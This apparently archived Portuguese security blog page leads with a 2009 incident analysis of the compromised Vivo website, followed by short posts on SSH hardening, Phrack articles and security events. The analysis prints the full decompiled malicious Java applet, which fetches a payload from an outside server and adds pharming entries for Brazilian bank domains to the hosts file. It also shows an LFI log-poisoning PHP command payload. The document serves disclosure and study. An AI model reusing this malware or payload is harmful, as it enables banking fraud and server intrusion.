Análise um pouco mais detalhada do problema com a Vivo

September 9th, 2009 by Filipe Balestra

Na noite de ontem tivemos um incidente de segurança envolvendo a maior empresa de celular do país, a Vivo.
Eu e alguns amigos da área de segurança da informação estavamos acompanhando desde o inicio, quando tudo ainda estava no ar, e espero trazer uma análise detalhada do que aconteceu.

Vale lembrar que nem todos os servidores da Vivo que faziam parte do balanceamento de carga foram comprometidos, portanto, nem sempre era possível acessar o código Java utilizado. Em alguns casos, era necessário dar “reload” várias vezes para conseguir acessar o site hospedado no servidor comprometido.

Mas vamos ao que interessa.
Ao acessar o site da Vivo (http://www.vivo.com.br/portal/home.php), era possível perceber uma atividade do Java no computador. Quando analisamos o código fonte do site, identificamos o seguinte trecho de código:

<applet name=”Vivo Online – IMPORTANTE: (Para executar corretamente o Vivo Online clique em `Run´.)” code=”laa.class” archive=”http://www.vivo.com.br/portal/co/logo_top.jpg” width=”0″ height=”0″><param name=”Vivo Online” value=”"></applet>

Então, fizemos download do arquivo http://www.vivo.com.br/portal/co/logo_top.jpg, que tem a extensão de um arquivo de imagem qualquer, porém se tratava de um arquivo compactado, um JAR.

$ unzip logo_top.jpg
Archive: logo_top.jpg
inflating: META-INF/MANIFEST.MF
inflating: META-INF/VIVOO.SF
inflating: META-INF/VIVOO.RSA
inflating: laa.class
inflating: .classpath
inflating: .project
$

Que tal olharmos o nosso arquivo class, para estudar e entender o que o código faz?
Decompilando o arquivo laa.class, temos:

import java.applet.Applet;
import java.awt.Color;
import java.awt.Graphics;
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.FileWriter;
import java.io.IOException;
import java.io.InputStream;
import java.net.URL;
import java.net.URLConnection;
public class laa extends Applet
{
public void paint(Graphics g)
{
g.setColor(Color.red);
g.drawString(“…”, 5, 10);
}
public void H32A(String URLexterna, String SalvarComo)
{
try
{
int i;
File files = new File(SalvarComo);
boolean exists = files.exists();
if (exists)
return;
URL url = new URL(URLexterna);
URLConnection connection = url.openConnection();
InputStream stream = connection.getInputStream();
BufferedInputStream in = new BufferedInputStream(stream);
FileOutputStream file = new FileOutputStream(SalvarComo);
BufferedOutputStream out = new BufferedOutputStream(file);
while ((i = in.read()) != -1)
out.write(i);
out.flush();
out.close();
}
catch (IOException localIOException)
{
}
}
public void H32C(String HostIP, String HostURL)
{
try {
File file = new File(“\\WINDOWS\\system32\\drivers\\etc\\hosts”);
FileWriter filewriter = new FileWriter(file, true);
filewriter.write(HostIP + ” ” + HostURL + System.getProperty
(“line.separator”));
filewriter.close();
}
catch (Exception localException)
{
}
}
public void teste(String valor)
{
try {
Runtime.getRuntime().exec(valor);
}
catch (IOException localIOException)
{
}
}
public void cocodegalinha() {
try {
int i;
File files = new File(“c:\\NOSO072009BETA3ba.log”);
boolean exists = files.exists();
if (exists)
return;
URL url = new URL
(“http://goos.io.usp.br/tikiwiki/img/wiki/dedi/mais.php”);
URLConnection connection = url.openConnection();
InputStream stream = connection.getInputStream();
BufferedInputStream in = new BufferedInputStream(stream);
FileOutputStream file = new FileOutputStream
(“c:\\NOSO072009BETA3ba.log”);
BufferedOutputStream out = new BufferedOutputStream(file);
while ((i = in.read()) != -1)
out.write(i);
out.flush();
out.close();
H32C(“”, “”);
H32C(“69.162.114.180″, “santander.com.br”);
H32C(“69.162.114.180″, “www.santander.com.br”);
H32C(“69.162.114.181″, “itau.com.br”);
H32C(“69.162.114.181″, “www.itau.com.br”);
H32C(“69.162.114.181″, “www.itau.com”);
H32C(“69.162.114.181″, “itau.com”);
H32C(“69.162.114.181″, “itaupersonnalite.com.br”);
H32C(“69.162.114.181″, “www.itaupersonnalite.com.br”);
H32C(“69.162.114.182″, “www.bradesco.com.br”);
H32C(“69.162.114.182″, “bradesco.com.br”);
H32C(“69.162.114.182″, “www.bradesco.com”);
H32C(“69.162.114.182″, “bradesco.com”);
H32C(“69.162.114.182″, “www.bradescoempresa.com.br”);
H32C(“69.162.114.182″, “bradescoempresa.com.br”);
H32C(“69.162.114.182″, “www.bradescoprime.com.br”);
H32C(“69.162.114.182″, “bradescoprime.com.br”);
H32C(“69.162.114.182″, “bradescocartoes.com.br”);
H32C(“69.162.114.182″, “www.bradescocartoes.com.br”);
H32C(“69.162.114.179″, “www.nossacaixa.com.br”);
H32C(“69.162.114.179″, “nossacaixa.com.br”);
}
catch (IOException localIOException)
{
}
}
public void init()
{
cocodegalinha();
}
}

Analisando o código acima, podemos ver que o programa tenta criar um arquivo “\WINDOWS\system32\drivers\etc\hosts” no computador da vítima.
Esse arquivo contém mapeamentos de endereços IP para nomes de host. O Windows faz a consulta primeiro nesse arquivo, para então tentar resolver o host através de um servidor DNS. Portanto, com essas entradas no arquivo hosts, o atacante pretendia fazer com que as vítimas, ao tentar acessar alguns sites bancários, fossem direcionadas para sites falsos, cujos endereços IP podem ser vistos no próprio código fonte acima e acessados da seguinte maneira:

http://69.162.114.179/

http://69.162.114.180/

http://69.162.114.181/

http://69.162.114.182/

Outro endereço que foi possível obter no código fonte é um endereço da Universidade de São Paulo, a USP.
Provavelmente, a USP também teve um servidor comprometido e foi usado nesse ataque.

Segue o endereço, que já foi removido: http://goos.io.usp.br/tikiwiki/img/wiki/dedi/mais.php

Como ainda conseguimos acompanhar tudo ontem, todos os endereços funcionavam perfeitamente, e me chamou a atenção o seguinte endereço: http://goos.io.usp.br/tikiwiki/img/wiki/

Ao acessar o endereço anterior, existia um formulário onde era passada uma lista de e-mail, para ser feito spam.
Analisando esse formulário, tinhamos o seguinte conteúdo:


<form action=http://www.vivo.com.br/roaminginternacional/popup.php?url=/var/spool/mail/apache&e= method=POST enctype=multipart/form-data>
Arquivo: <input type=file name=file><br>
<input type=submit value=Enviar>

Opa! Olha onde o formulário esta fazendo POST! Provavelmente, esse formulário era usado para enviar SPAM através do próprio servidor da Vivo. E tem mais, esse formulário nos revela um bug no site da Vivo, que foi bastante discutido ontem e vi muita gente postando no Twitter.
Portanto, foi possível perceber um problema de segurança no site da Vivo conhecido por Local File Inclusion (LFI) apenas analisando esse formulário utilizando pelos atacantes.
Com um LFI é possível executar comandos dentro do servidor, além de ler arquivos no mesmo.

Por exemplo, era possível ler o arquivo /etc/passwd, acessando através de um navegador web o seguinte endereço:

http://www.vivo.com.br/roaminginternacional/popup.php?url=/etc/passwd

Também era possível acessar informações sobre a rede da Vivo, acessando: http://www.vivo.com.br/roaminginternacional/popup.php?url=/etc/hosts

E além de tudo, possivelmente dava para executar comandos no servidor da Vivo. Para isso, uma das técnicas que normalmente pode ser usada para essa finalidade consiste em enviar uma requisição para o servidor, adicionando um comando PHP dentro do arquivo de Log do Apache, e posteriormente, dar um include nesse arquivo de log, bastando acessar http://www.vivo.com.br/roaminginternacional/popup.php?url=/var/log/apache/error.log (considerando que esse é o caminho do arquivo de log).

Exemplo:

$ nc www.vivo.com.br 80
GET <? passthru(\$_GET[cmd]) ?> HTTP/1.1

$

E depois, acessando o arquivo de log:

http://www.vivo.com.br/roaminginternacional/popup.php?url=/var/log/apache/error.log&cmd=id

Até ontem a noite, o contador de infectados já chegava em 80 mil usuários!!

Portanto, com uma análise rápida feita na noite de ontem, foi possível, além de identificar a fraude e alteração do site da Vivo, identificar um problema de segurança sério no site da Vivo, fácil de ser corrigido e que provavelmente foi usado para ganhar acesso ao servidor e alterar o site da empresa, infectando mais de 80 mil visitantes em poucos minutos.

Comentários?


Alterar a porta do SSH

September 8th, 2009 by kurtseifried

Faz alguma diferença para a segurança do sistema a alteração da porta do SSH para algo diferente do padrão (22)?

Não muito. Isso pode reduzir as tentativas de varredura, mas o melhor a fazer é desativar os logins por senha e ensinar os usuários a usar boas senhas para suas chaves SSH.


Ataque ao Fedora apesar do SELinux

September 3rd, 2009 by kurtseifried

Em 2008, o servidor do Fedora sofreu uma invasão. Se ele estava com o SELinux ativado, como ocorreu essa invasão?

Bem, segundo o comunicado oficial do projeto (em tradução livre abaixo),

“A invasão não foi resultado de uma vulnerabilidade de software, e como já dissemos antes, nossas investigações não revelaram qualquer vulnerabilidade. Em vez dizzo, o invasor obteve uma cópia de uma chave SSH privad,a que não estava corretamente protegida por uma senha, fora da infraestrutura do Fedora”.

Então, o SELinux não estava na equação, já que o invasor tinha as credenciais para o login.


Paper sobre Tecnologias de IPS

September 1st, 2009 by BSDaemon

A Revista Linux Magazine publicou um artigo que escrevi sobre tecnologias de IPS.

Disponibilizei o artigo online para fácil consulta em: http://www.linuxnewmedia.com.br/images/uploads/pdf_aberto/LM_56_66_71_05_seg_ips.pdf

Por favor comentem e enviem críticas/sugestões, para que façamos uma discussão saudável sobre o assunto.


Mudar nome do root

September 1st, 2009 by kurtseifried

Caro Kurt, já vi que a maioria das tentativas de invasão via SSH no meu servidor usam o usuário root. Por acaso, se eu alterar o nome do usuário root (UID=0) para outra coisa, eu aumento a segurança do sistema?

Não, isso não melhora muito. O melhor é não permitir o login de root por SSH, ou permitir somente o login por chave no arquivo sshd_config:

PermitRootLogin no
PasswordAuthentication no
PubkeyAuthentication yes

Primeiro laboratório de Segurança Microsoft no Brasil

August 28th, 2009 by BSDaemon

A Microsoft lançou conjuntamente com o ITA o primeiro laboratório de Segurança no Brasil.

O objetivo deste laboratório será de realizar pesquisas diversas na área de segurança da informação, contando inicialmente com alunos da pós-graduação do ITA e sendo patrocinado diretamente pela Microsoft.

A iniciativa é pioneira na América Latina como um todo, e especialmente no Brasil.

O coquetel de lançamento ocorreu ontem (27/08/2009) e como projeto inicial contará com a validação dos mecanismos de segurança do Internet Explorer 8 e 5 envolvidos (sendo 2 professores e 3 estudantes).


O ROI da segurança da informação

August 27th, 2009 by Filipe Balestra

Começarei com um post menos técnico… ou melhor.. nada técnico, mas que é interessante quando falamos de segurança da informação. Muitas empresas não conseguem ver segurança da informação como investimento, pois faz uma conta simples: Se eu contratar um vendedor e pagar R$ 3000,00 para essa colaborador, eu aumento a minha venda em x% e com isso consigo aumentar os meus lucros em R$ 5000,00. Porém, se eu contratar um profissional de segurança da informação, eu terei apenas custo, não aumentando as minhas vendas.

Mas será que é assim mesmo que a coisa realmente funciona?

Para responder essa pergunta, analisaremos o caso da empresa Telefônica com o Speedy. O Speedy sofreu diversos ataques, diversos problemas e teve diversas paradas ao longo de um período de tempo onde sofreu diversos processos, teve que devolver dinheiro para clientes e ficou proibido de ser vendido por 2 meses, sendo liberada a venda apenas ontem, dia 26 de agosto.

Como podemos perceber, a falta de investimento em segurança da informação trouxe diversos prejuízos para essa empresa.

Portanto, podemos afirmar que segurança possui um “Retorno sobre o Investimento” que pode ser, na maioria das vezes, estimado e demonstrado para as pessoas que acreditam que segurança é apenas gasto.


Phrack Magazine: Hacking the Cell Broadband Engine Architecture – SPE Software Exploitation

August 26th, 2009 by BSDaemon

Divulguei na revista Phrack deste ano um artigo sobre exploração de vulnerabilidades em softwares rodando na arquitetura Cell (nova arquitetura desenvolvido por um consórcio formado por Sony, Toshiba e IBM).

Este artigo documenta o que demonstrei na palestra do ano passado na conferência Hack in The Box de Dubai e pode ser visto como uma extensão ao artigo lançado pelo Ramon de Carvalho Valle do grupo RISE Security (formado por mais 2 brasileiros além de mim)


Phrack Magazine: SMM for other purposes

August 26th, 2009 by BSDaemon

Ano passado lancei conjuntamente com o Filipe Balestra (que também participa deste blog) e um pesquisador alemão um artigo sobre métodos de uso da SMM para subverter recursos de segurança do sistema operacional e criar malwares.

Este artigo foi uma extensão das pesquisas que desenvolvi para o StMichael, projeto originalmente criado por Timothy Lawless para proteção do kernel do Linux (visando oferecer base tecnológica para suportar o projeto StJude, o qual o mesmo dedicou grande parte de suas pesquisas). Me tornei mantenedor do StMichael há muitos anos atrás devido as contribuições que fiz para o mesmo (sempre pensei que o potencial do StMichael foi sub-valorizado na época) e diversas das idéias que nele estão implementadas acabaram provando-se válidas para ataques contra outros sistemas (por exemplo a detecção de strings do SELinux para desabilitar o mesmo por ataques ao kernel seria evitada com a geração de senhas de seção que inseri no mesmo). Tal extensão utilizou o que aprendi sobre SMM para utilizar em um sistema de segurança para a criação de um código malicioso.

Isto serve para provar que o investimento em pesquisas de segurança tem grande importância prática, dado que após a divulgação deste artigo, diversos outros estudos demonstraram fragilidades nos recursos de proteção da SMM (eu havia documentado o problema da escrita do cache sob a memória no capítulo 3.1.1 – Cache-originated overwrites do artigo, mas não havia aprofundado em como forçar isto de forma confiável, conforme a Joanna comprovou depois).

Gostaria de contar com comentários dos leitores a respeito do artigo, dos ataques envolvidos e também da revista Phrack como um todo, desde sempre divulgando novas técnicas e sendo a mais reconhecida no mundo sobre o assunto pesquisa em segurança da informação…


H2HC 6: Hackers 2 Hackers Conference

August 26th, 2009 by BSDaemon

Ainda na modalidade de eventos de segurança não poderia deixar de aproveitar para falar um pouco do Hackers 2 Hackers, evento que organizo no Brasil (maior e pioneiro da américa latina) enfocando aspectos de pesquisas em segurança da informação.

Este ano será a 6 edição e mostrando todo o potencial do Brasil o evento continua crescendo. Será realizado no Novotel do Morumbi e o site em breve receberá todas as novidades!

Diversos palestrantes internacionais participaram das edições anteriores, com novas técnicas de ataques tendo sido divulgadas, vulnerabilidades e ferramentas, além do compartilhamento de experiências e troca de informações que este tipo de evento proporciona.

Ano passado (2008) tivemos a abertura a patrocinadores, contando com o apoio da Microsoft, Check Point e Immunity entre outras empresas importantes no mundo da segurança da informação.

Comente, discuta, divulgue e participe do grupo no linkedin além de seguir o evento: linkedin.